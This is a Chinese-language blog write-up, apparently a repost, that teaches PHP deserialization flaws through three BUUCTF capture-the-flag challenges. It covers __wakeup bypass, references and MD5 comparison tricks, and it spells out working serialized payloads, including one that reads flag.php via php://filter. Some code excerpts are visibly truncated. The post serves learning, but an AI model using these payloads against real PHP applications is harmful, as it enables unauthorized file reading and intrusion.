文章详情

短信预约-IT技能 免费直播动态提醒

请输入下面的图形验证码

提交验证

短信预约提醒成功

反序列号漏洞学习!BUUCTF 极客PHP BUU CODE REVIEW 1 [网鼎杯 2020 青龙组]AreUSerialz

2023-09-21 07:42

关注

 

简单讲,序列化其实就是将数据转化成一种可逆的数据结构,自然,逆向的过程就叫做反序列化

序列化的格式

 

 

•a表示array(数组),2表示数组有2个元素

•s:5:”baidu”表示第一个元素的下标,长度为5的字符串

•s:13表示第一个元素的值,长度为13的字符串

•i:10表示值为10的整数

•序列化时,只保存成员变量,不保存方法

格式说明:

•O:1:“A”:3 O表示对象,类名长度为1,类名为A,有3个成员变量

•大括号里面是3个成员变量的信息

•public成员变量的名字直接写就行

•protected成员变量的名字前需要加%00*%00

•private成员变量的名字前需要加%00类名%00

 

Magic 方法:

•__construct 当一个对象创建时被调用

•__destruct 当一个对象销毁时被调用

•__toString 当一个对象被当作一个字符串使用

•__wakeup 在对象被反序列化之前被调用

常见绕过方法:

1)__wakeup:

•影响版本:PHP before 5.6.25、7.x before 7.0.10

•反序列化时,如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup( )的执行。

2)引用绕过:

•$a->var2=&$a->var1,指定var2是var1的引用,所以这两个的值完全一样,(类似c语言里面的指针$a->var2 和 $a->var1 指向同一片内存)

BUUCTF 练习:

1) PHP极客大挑战

 

尝试了半天,看页面源代码也没找到踪迹,尝试爆破。

 

得到源码,index.php中

 

传入参数select,然后反序列化

username = $username;        $this->password = $password;    }​    function __wakeup(){        $this->username = 'guest';    }​    function __destruct(){        if ($this->password != 100) {            echo "
NO!!!hacker!!!
"; echo "You name is: "; echo $this->username;echo "
"; echo "You password is: "; echo $this->password;echo "
"; die(); } if ($this->username === 'admin') { global $flag; echo $flag; }else{ echo "
hello my friend~~
sorry i can't give you the flag!"; die();​ } }}?>

代码审计我们需要令$username="admin" 和 $password =100并且绕过 __wakeup magic方法,防止$username 变为 "guest",绕过wakeup 只需要在 序列化对象属性数量的位置改为大于原本类的对象属性数量.

 

有不可见字符,我们需要给他再urlencode一下,

 

将O:4:"Name":2: .......(省略后面的代码) ,2改为3再urlencode

payload= O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D%0A

 

2)BUU CODE REVIEW 1

correct = base64_encode(uniqid());           if($this->correct === $this->input) {               echo file_get_contents("/flag");           }       } catch (Exception $e) {       }   }}​if($_GET['pleaseget'] === '1') {    if($_POST['pleasepost'] === '2') {        if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {            unserialize($_POST['obj']);        }    }}

代码审计:

需要$correct===$input,

但是由于$this->correct = base64_encode(uniqid()); 这一条命令,每次correct 都会随机生产一个字符,我们令input和correct指向同一片内存地址,方可绕过

这里用到了MD5绕过

MD5弱比较“==”绕过

        方法一:利用md5()函数的漏洞绕过

即使用数组绕过的方法: 由于md5对于字符串检验的时候,遇到数组会返回NULL 所以两个数组经过加密后得到的都是NULL,也就是相等的。 所以上传

/?a[]=1&b[]=2

就可绕过 方法二:利用“==”比较漏洞绕过 如果两个字符经MD5加密后的值为 0exxxxx形式,就会被认为是科学计数法,且表示的是0*10的xxxx次方,还是零,都是相等的。 下列的字符串的MD5值都是0e开头的:

QNKCDZO240610708s878926199as155964671as214587387as214587387a 

2、MD5强比较“===”绕过

此时只能用数组绕过的方法。

input = &$a->correct;$str = serialize($a);echo $str;?>
payload:GET方法:pleaseget=1POST方法:pleasepost=2&md51[]=1&md52[]=2&obj=O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}

3)[网鼎杯 2020 青龙组]AreUSerialz

process();    }​    public function process() {        if($this->op == "1") {            $this->write();        } else if($this->op == "2") {            $res = $this->read();            $this->output($res);        } else {            $this->output("Bad Hacker!");        }    }​    private function write() {        if(isset($this->filename) && isset($this->content)) {            if(strlen((string)$this->content) > 100) {                $this->output("Too long!");                die();            }            $res = file_put_contents($this->filename, $this->content);            if($res) $this->output("Successful!");            else $this->output("Failed!");        } else {            $this->output("Failed!");        }    }​    private function read() {        $res = "";        if(isset($this->filename)) {            $res = file_get_contents($this->filename);        }        return $res;    }​    private function output($s) {        echo "[Result]: 
"; echo $s; }​ function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); }​}​function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true;}​if(isset($_GET{'str'})) {​ $str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); }​}

代码审计后:

1)发现is_valid只允许我们输入ascill值在32-125之间的符号,即可以打印出来的符号

protected $op;protected $filename;protected $content;

接着发现 因为以上三个变量前面带着protected修饰词,如果序列化后将在变量前面加上%00*%00不在32-125间将会过不了这个函数(is_valid return false),即不能触发$obj = unserialize($str) 。

对于PHP版本7.1+,对属性的类型不敏感,我们可以将protected类型改为public

2)我们最终目的是拿到flag.php里面的内容,所以我们要进入read函数里面,即把op=2(进入read函数),绕过op=1(会先进入write函数),然后$filename = "flag.php"

  
  #序列化后的字符串为以下,试试这个payload#O:11:"FileHandler":3{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}

 

可以看到已经读到flag.php的内容

我们也可以在结合LFI漏洞中运用的php伪协议在尝试尝试,

#$str= O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}

 

 

第一次写博客,写得哪里不好请谅解.。

来源地址:https://blog.csdn.net/qq_58869808/article/details/125991530

阅读原文内容投诉

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

软考中级精品资料免费领

  • 历年真题答案解析
  • 备考技巧名师总结
  • 高频考点精准押题
  • 2024年上半年信息系统项目管理师第二批次真题及答案解析(完整版)

    难度     813人已做
    查看
  • 【考后总结】2024年5月26日信息系统项目管理师第2批次考情分析

    难度     354人已做
    查看
  • 【考后总结】2024年5月25日信息系统项目管理师第1批次考情分析

    难度     318人已做
    查看
  • 2024年上半年软考高项第一、二批次真题考点汇总(完整版)

    难度     435人已做
    查看
  • 2024年上半年系统架构设计师考试综合知识真题

    难度     224人已做
    查看

相关文章

发现更多好内容

猜你喜欢

AI推送时光机
位置:首页-资讯-后端开发
咦!没有更多了?去看看其它编程学习网 内容吧
首页课程
资料下载
问答资讯